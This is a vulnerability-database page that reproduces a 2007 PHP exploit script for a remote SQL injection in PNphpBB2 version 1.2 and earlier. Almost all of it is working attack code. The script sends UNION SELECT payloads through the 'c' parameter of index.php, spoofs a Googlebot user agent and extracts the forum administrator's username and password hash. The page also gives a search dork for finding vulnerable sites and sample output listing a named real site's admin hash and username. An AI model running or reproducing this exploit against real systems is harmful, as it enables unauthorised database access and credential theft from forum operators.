Lucene search
K

PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit

🗓️ 04 Jun 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

PNphpBB2 <= 1.2 Remote SQL Injection Exploit. Contact: [email protected]. Homepage: http://www.rahim.webd.pl/. Author: Kacper

Code

                                                &lt;?/*
Exploit&nbsp;Name:
PNphpBB2&nbsp;&lt;=&nbsp;1.2&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit

Autor:&nbsp;Kacper
Contact:&nbsp;[email protected]
Homepage:&nbsp;http://www.rahim.webd.pl/
Kacper&nbsp;Hacking&nbsp;&amp;&nbsp;Security&nbsp;Blog:&nbsp;http://kacper.bblog.pl/
Irc:&nbsp;irc.milw0rm.com:6667&nbsp;#devilteam&nbsp;

Pozdro&nbsp;dla&nbsp;wszystkich&nbsp;z&nbsp;kanalu&nbsp;IRC&nbsp;oraz&nbsp;forum&nbsp;DEVIL&nbsp;TEAM.

Pozdrawiam&nbsp;pl.zone-h.org,&nbsp;a&nbsp;najbardziej&nbsp;demo,&nbsp;oraz&nbsp;cala&nbsp;ekipe&nbsp;Zone-H.Org&nbsp;&nbsp;:)

//dork:&nbsp;inurl:&quot;index.php?name=PNphpBB2&quot;

script&nbsp;homepage/download/demo:&nbsp;http://www.pnphpbb.com/


###########################&nbsp;START&nbsp;##############################
Microsoft&nbsp;Windows&nbsp;XP&nbsp;[Wersja&nbsp;5.1.2600]&nbsp;
(C)&nbsp;Copyright&nbsp;1985-2001&nbsp;Microsoft&nbsp;Corp.&nbsp;

C:\Documents&nbsp;and&nbsp;Settings\h4ck3r&gt;C:\usr\php\php.exe&nbsp;c:\php.php&nbsp;
Content-type:&nbsp;text/html&nbsp;
X-Powered-By:&nbsp;PHP/4.3.9&nbsp;


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&nbsp;
Usage:&nbsp;php&nbsp;c:\php.php&nbsp;host&nbsp;path&nbsp;OPTIONS&nbsp;
host:&nbsp;target&nbsp;server&nbsp;(ip/hostname)&nbsp;
path:&nbsp;PNphpBB2&nbsp;path&nbsp;
Options:&nbsp;
-p[port]:&nbsp;specify&nbsp;a&nbsp;port&nbsp;other&nbsp;than&nbsp;80&nbsp;
-P[ip:port]:&nbsp;specify&nbsp;a&nbsp;proxy&nbsp;
-X[prefix]:&nbsp;database&nbsp;prefix&nbsp;
-u[user_id]:&nbsp;user&nbsp;id&nbsp;from&nbsp;forum&nbsp;PNphpBB2&nbsp;
Example:&nbsp;
php&nbsp;c:\php.php&nbsp;127.0.0.1&nbsp;/PNphpBB2/&nbsp;
php&nbsp;c:\php.php&nbsp;127.0.0.1&nbsp;/PNphpBB2/&nbsp;-Xnuke&nbsp;-u3&nbsp;-P1.1.1.1:80&nbsp;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&nbsp;

C:\Documents&nbsp;and&nbsp;Settings\h4ck3r&gt;C:\usr\php\php.exe&nbsp;c:\php.php&nbsp;www.prawobrzeze.org&nbsp;/&nbsp;-Xnuke
Content-type:&nbsp;text/html&nbsp;
X-Powered-By:&nbsp;PHP/4.3.9&nbsp;

Prefix&nbsp;-&gt;&nbsp;nuke&nbsp;
+++++++++++++++++++++++++++++++++++++++++++++++++&nbsp;
Admin&nbsp;Password:&nbsp;1be49aa89a83537aa59bc6fe8b80f255&nbsp;
Admin&nbsp;Username:&nbsp;Finki

##########################&nbsp;THE&nbsp;END&nbsp;#############################

you&nbsp;only&nbsp;must&nbsp;now&nbsp;prefix&nbsp;:)

*/
if&nbsp;($argc&lt;3)&nbsp;{
print_r('
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;host&nbsp;path&nbsp;OPTIONS
host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip/hostname)
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PNphpBB2&nbsp;path
Options:
&nbsp;-p[port]:&nbsp;&nbsp;&nbsp;&nbsp;specify&nbsp;a&nbsp;port&nbsp;other&nbsp;than&nbsp;80
&nbsp;-P[ip:port]:&nbsp;specify&nbsp;a&nbsp;proxy
&nbsp;-X[prefix]:&nbsp;&nbsp;database&nbsp;prefix
&nbsp;-u[user_id]:&nbsp;user&nbsp;id&nbsp;from&nbsp;forum&nbsp;PNphpBB2
Example:
php&nbsp;'.$argv[0].'&nbsp;127.0.0.1&nbsp;/PNphpBB2/
php&nbsp;'.$argv[0].'&nbsp;127.0.0.1&nbsp;/PNphpBB2/&nbsp;-Xnuke&nbsp;-u3&nbsp;-P1.1.1.1:80
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
');
die;
}
error_reporting(7);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);
function&nbsp;quick_dump($string)
{
&nbsp;&nbsp;$result='';$exa='';$cont=0;
&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=strlen($string)-1;&nbsp;$i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;if&nbsp;((ord($string[$i])&nbsp;&lt;=&nbsp;32&nbsp;)&nbsp;|&nbsp;(ord($string[$i])&nbsp;&gt;&nbsp;126&nbsp;))
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;.&quot;;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;&quot;.$string[$i];}
&nbsp;&nbsp;&nbsp;if&nbsp;(strlen(dechex(ord($string[$i])))==2)
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;0&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;$cont++;if&nbsp;($cont==15)&nbsp;{$cont=0;&nbsp;$result.=&quot;\r\n&quot;;&nbsp;$exa.=&quot;\r\n&quot;;}
&nbsp;&nbsp;}
&nbsp;return&nbsp;$exa.&quot;\r\n&quot;.$result;
}
$proxy_regex&nbsp;=&nbsp;'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function&nbsp;wyslijpakiet($packet)
{
&nbsp;&nbsp;global&nbsp;$proxy,&nbsp;$host,&nbsp;$port,&nbsp;$html,&nbsp;$proxy_regex;
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;'.$host.':'.$port;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
	$c&nbsp;=&nbsp;preg_match($proxy_regex,$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$c)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Not&nbsp;a&nbsp;valid&nbsp;proxy...';die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$parts=explode(':',$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;$parts[1]=(int)$parts[1];
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Connecting&nbsp;to&nbsp;&quot;.$parts[0].&quot;:&quot;.$parts[1].&quot;&nbsp;proxy...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen($parts[0],$parts[1]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;proxy...';die;
	}
&nbsp;&nbsp;}
&nbsp;&nbsp;fputs($ock,$packet);
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((!feof($ock))&nbsp;or&nbsp;(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fread($ock,1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=&quot;pn&quot;;
$user_id=&quot;2&quot;;
$port=80;
$proxy=&quot;&quot;;
for&nbsp;($i=3;&nbsp;$i&lt;$argc;&nbsp;$i++){
$temp=$argv[$i][0].$argv[$i][1];
if&nbsp;($temp==&quot;-p&quot;)
{
&nbsp;&nbsp;$port=(int)str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-P&quot;)
{
&nbsp;&nbsp;$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-X&quot;)
{
&nbsp;&nbsp;$prefix=str_replace(&quot;-X&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-u&quot;)
{
&nbsp;&nbsp;$user_id=str_replace(&quot;-u&quot;,&quot;&quot;,$argv[$i]);
}
}
if&nbsp;(($path[0]&lt;&gt;'/')&nbsp;or&nbsp;($path[strlen($path)-1]&lt;&gt;'/'))&nbsp;{die(&quot;Bad&nbsp;path!&quot;);}
if&nbsp;($proxy=='')&nbsp;{$p=$path;}&nbsp;else&nbsp;{$p='http://'.$host.':'.$port.$path;}
function&nbsp;char_convert($my_string)
{
&nbsp;&nbsp;$encoded=&quot;CHAR(&quot;;
&nbsp;&nbsp;for&nbsp;($k=0;&nbsp;$k&lt;=strlen($my_string)-1;&nbsp;$k++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$encoded.=ord($my_string[$k]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($k==strlen($my_string)-1)&nbsp;{$encoded.=&quot;)&quot;;}
&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{$encoded.=&quot;,&quot;;}
&nbsp;&nbsp;}
&nbsp;&nbsp;return&nbsp;$encoded;
}
if($prefix==&quot;pn&quot;){print&nbsp;&quot;Default&nbsp;Prefix&nbsp;-&gt;&nbsp;&quot;.$prefix.&quot;\r\n&quot;;}
print&nbsp;&quot;Prefix&nbsp;-&gt;&nbsp;&quot;.$prefix.&quot;\r\n&quot;;
print&nbsp;&quot;+++++++++++++++++++++++++++++++++++++++++++++++++\r\n&quot;;
$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;index.php?name=PNphpBB2&amp;file=index&amp;c=1/**/UNION/**/SELECT/**/0,CONCAT(&quot;.char_convert(&quot;&lt;DEVIL_TEAM-[&quot;).&quot;,user_password,&quot;.char_convert(&quot;]-Kacper&gt;&quot;).&quot;),2,3,4/**/FROM/**/&quot;.$prefix.&quot;_phpbb_users/**/WHERE/**/user_id=&quot;.$user_id.&quot;/*&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer:&nbsp;http://&quot;.$host.$path.&quot;index.php\r\n&quot;;
$packet.=&quot;Accept-Language:&nbsp;pl\r\n&quot;;
$packet.=&quot;User-Agent:&nbsp;Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;DEVIL_TEAM-[&quot;,$html);
$t2=explode(&quot;]-Kacper&gt;&quot;,$t[1]);
$pass=$t2[0];
echo&nbsp;&quot;Admin&nbsp;Password:&nbsp;&quot;.$pass.&quot;\r\n&quot;;
$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;index.php?name=PNphpBB2&amp;file=index&amp;c=1/**/UNION/**/SELECT/**/0,CONCAT(&quot;.char_convert(&quot;&lt;DEVIL_TEAM-[&quot;).&quot;,username,&quot;.char_convert(&quot;]-Kacper&gt;&quot;).&quot;),2,3,4/**/FROM/**/&quot;.$prefix.&quot;_phpbb_users/**/WHERE/**/user_id=&quot;.$user_id.&quot;/*&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer:&nbsp;http://&quot;.$host.$path.&quot;category.php\r\n&quot;;
$packet.=&quot;Accept-Language:&nbsp;pl\r\n&quot;;
$packet.=&quot;User-Agent:&nbsp;Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;DEVIL_TEAM-[&quot;,$html);
$t2=explode(&quot;]-Kacper&gt;&quot;,$t[1]);
$nick=$t2[0];
echo&nbsp;&quot;Admin&nbsp;Username:&nbsp;&quot;.$nick.&quot;\r\n&quot;;
if($pass==&quot;&quot;){echo&nbsp;&quot;exploit&nbsp;failed,&nbsp;check&nbsp;prefix&nbsp;!!!!!!!!!!&nbsp;(index.php?name=PNphpBB2&amp;file=index&amp;c='1)\r\n&quot;;
echo&nbsp;&quot;Go&nbsp;to&nbsp;DEVIL&nbsp;TEAM&nbsp;IRC:&nbsp;irc.milw0rm.com:6667&nbsp;#devilteam\r\n&quot;;}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jun 2007 00:00Current
7.1High risk
Vulners AI Score7.1
29